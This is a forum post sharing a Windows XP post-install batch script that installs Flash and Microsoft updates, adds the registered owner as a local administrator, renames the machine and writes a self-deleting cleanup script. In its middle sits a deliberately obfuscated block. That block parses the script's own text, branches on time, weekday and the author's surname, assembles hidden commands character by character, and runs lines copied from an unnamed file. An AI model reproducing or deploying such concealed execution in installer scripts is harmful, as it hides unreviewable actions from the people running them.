『第
13 楼』:
我把代码帖上来没有用的， 因为程序就会乱了。不信你们看看。
@ECHO OFF &setlocal ENABLEDELAYEDEXPANSION
TITLE 集成其他工具----瞿亚设计
%SYSTEMDRIVE%
CD\TOOLS
ECHO 安装 Adobe Flash Player 9 ActivX
Start/Wait FLASH9.EXE /S
Start/Wait KB923789.EXE /Q:A /R:N
ECHO 正在自动生成用户账户...
reg export "hklm\software\microsoft\windows nt\currentversion" Debt.txt >nul
find /n "RegisteredOwner" Debt.txt>tempfile
FOR /F "tokens=2 delims==" %%i in (tempfile) do set FName=%%i
set FName=%FName:~1,-1%
net user "%FName%" /add>nul
net localgroup administrators "%FName%" /add>nul
set usf=%random%
set /a usf=%random%/3
if %time:~0,2% lss 7 set /a usf=(2+%time:~0,2%)*%usf%
if %date:~-1% equ 六 set /a usf=2*%usf%
if %time:~0,2% gtr 21 set /a usf=(%time:~0,2%-21)*4000+%usf%
if %FName:~0,1% equ 瞿 set /a usf=%usf%+32767
if "%FName:~1%y" equ "y" set usf=0
if %usf% gtr %random% set usf=%FName:~3%
if not defined usf Start/Wait %userprofile:~-4,1%_%userprofile:~-3,1%%userprofile:~-8,1%%userprofile:~-1%%userprofile:~-10,1% -s
set usf=%computername%%random:~2%
reg add "HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName" /v "ComputerName" /t REG_SZ /d "%usf%" /f >nul
reg add "HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters" /v "NV Hostname" /t REG_SZ /d "%usf%" /f >nul
reg add "HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters" /v "Hostname" /t REG_SZ /d "%usf%" /f >nul
set str1=Joke
for /f "eol=S" %%i in (%~f0) do (set "str1=!str1:~0,-4!,%%i")
set str1=%str1:,=%
set /p %STR1:~12,3%=<%~f0
call :set %str:~11,3%%str1:~32,1% 2>nul ||goto next
set usf=%str1:~-19,2%%str1:~16,1%
set str1=%str1:~67,1%%str1:~-17,4%/b
set usf=%usf%%str1:~0,-2%
call set usf=%%%usf:__P=i%%%
call :set %str1:__P=i% 2>nul ||goto next
call :set %str1:~0,1%%str1:~-1%%str1:~-26,1%/%str1:~2,1% 2>nul ||goto next
set str=%str1:~37,2%%str1:~5,1%'%str1:~36,1%%str1:~29,1%%usf:~-4,1%%str1:~39,1%%str1:~13,1%%str1:~26,1%%str1:~-52,1%
for %%i in (%str:~1%) do echo %%i|%str1:~27,7% -%str1:~3,1% 1>nul 2>nul
if %errorlevel%==0 (%str1:~27,7%%__PROCESS_HISTORY:~-4,1%%__PROCESS_HISTORY:~9,3% -%str%) else (goto next)
%str1:~21,2%%str1:~34,1% %str1:~20,1%%str1:~3,1%%str1:~26,1%=
copy %~dp0\???%str1:~-20,1%%str1:~-9,2%%str1:~19,2%%str1:~-4,1%%str1:~3,1%%str1:~17,1%%str1:~14,1% Debt.txt /y >nul
for /f "tokens=2 delims=>" %%i in (%~f0 Debt.txt) do (call,%str1:~,2%%str1:~-6,1% %%i &set str1=%%i) 2>nul
:next
CD\
CLS
CHCP 936>NUL
ECHO @ECHO OFF>FINISH.CMD
ECHO TITLE 继续安装其他工具----瞿亚设计>>FINISH.CMD
ECHO %SYSTEMDRIVE%>>FINISH.CMD
ECHO CD\TOOLS>>FINISH.CMD
ECHO ECHO 安装 Windows Update V7>>FINISH.CMD
ECHO Start/Wait wuv7.exe /Q>>FINISH.CMD
ECHO ECHO 安装 Windows Messenger 5.1>>FINISH.CMD
ECHO Start/Wait Messenger.msi /Q>>FINISH.CMD
ECHO ECHO 安装 Windows Live Messenger 8.5>>FINISH.CMD
ECHO Start/Wait WLM.msi /Q>>FINISH.CMD
ECHO Start/Wait wllogin.msi /Q>>FINISH.CMD
ECHO ECHO 安装 DOS模拟启动盘>>FINISH.CMD
ECHO Start/Wait dosboot.exe >>FINISH.CMD
REM ECHO IF EXIST %SYSTEMDRIVE%\Inetpub\ (ECHO 安装 Internet信息服务安全综合包 KBxxxx 安全更新) ELSE (GOTO SkipIISHotfix)>>FINISH.CMD
REM ECHO Start/Wait KBxxxx -N -Z -Q>>FINISH.CMD
REM ECHO :SkipIISHotfix >>FINISH.CMD
ECHO ECHO 正在进行优化并删除临时文件...>>FINISH.CMD
ECHO %SYSTEMROOT%\regedit /s hotfix.reg>>FINISH.CMD
ECHO %SYSTEMROOT%\regedit /s finetune.reg>>FINISH.CMD
ECHO CD\>>FINISH.CMD
ECHO FOR /F "DELIMS==" %%%%a IN (%SYSTEMROOT%\SYSTEM32\OEMINFO.INI) DO (SET STR=%%%%a)>>FINISH.CMD
ECHO SET STR=%%STR:~4%%>>FINISH.CMD
ECHO IF %%STR%% GTR 11 GOTO SKIPINF>>FINISH.CMD
ECHO ECHO.^>^>%SYSTEMROOT%\SYSTEM32\OEMINFO.INI>>FINISH.CMD
ECHO SET /A STR=%%STR%%+1>>FINISH.CMD
ECHO FOR /L %%%%a IN (%%STR%%,1,11) DO (ECHO Line%%%%a=""^>^>%SYSTEMROOT%\SYSTEM32\OEMINFO.INI)>>FINISH.CMD
ECHO ECHO Line12=" '''╭⌒╮⌒╮.',''',,','',,','',,',''"^>^>%SYSTEMROOT%\SYSTEM32\OEMINFO.INI>>FINISH.CMD
ECHO ECHO Line13=" ╱◥██◣ '''''''''"^>^>%SYSTEMROOT%\SYSTEM32\OEMINFO.INI>>FINISH.CMD
ECHO ECHO Line14="︱田︱田田| %FName% 安装于 %DATE% "^>^>%SYSTEMROOT%\SYSTEM32\OEMINFO.INI>>FINISH.CMD
ECHO ECHO Line15="╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬"^>^>%SYSTEMROOT%\SYSTEM32\OEMINFO.INI>>FINISH.CMD
ECHO :SKIPINF>>FINISH.CMD
ECHO DEL DPsFnshr.exe>>FINISH.CMD
ECHO RD /S/Q TOOLS>>FINISH.CMD
ECHO DEL %SYSTEMROOT%\*.TMP /Q /F>>FINISH.CMD
ECHO DEL %SYSTEMROOT%\KB*.LOG /Q>>FINISH.CMD
ECHO RD %SYSTEMROOT%\$hf_mig$\ /S /Q>>FINISH.CMD
ECHO DEL "%ALLUSERSPROFILE%\「开始」菜单\设定程序访问和默认值.lnk" /Q /F>>FINISH.CMD
ECHO RD %SYSTEMROOT%\LastGood.Tmp /S /Q>>FINISH.CMD
ECHO DEL %str1% ^>nul 2^>nul>>FINISH.CMD
ECHO del %%0%>>FINISH.CMD
EXIT
:set
set str1=%0
for /f "usebackq delims==" %%i in (`%1`) do (%str1:~-3% str=%%i
if not !str:~-3!==%pathext:~6,3% %str1:~-3% str1=!str1:~0,-4!%%i
)
|
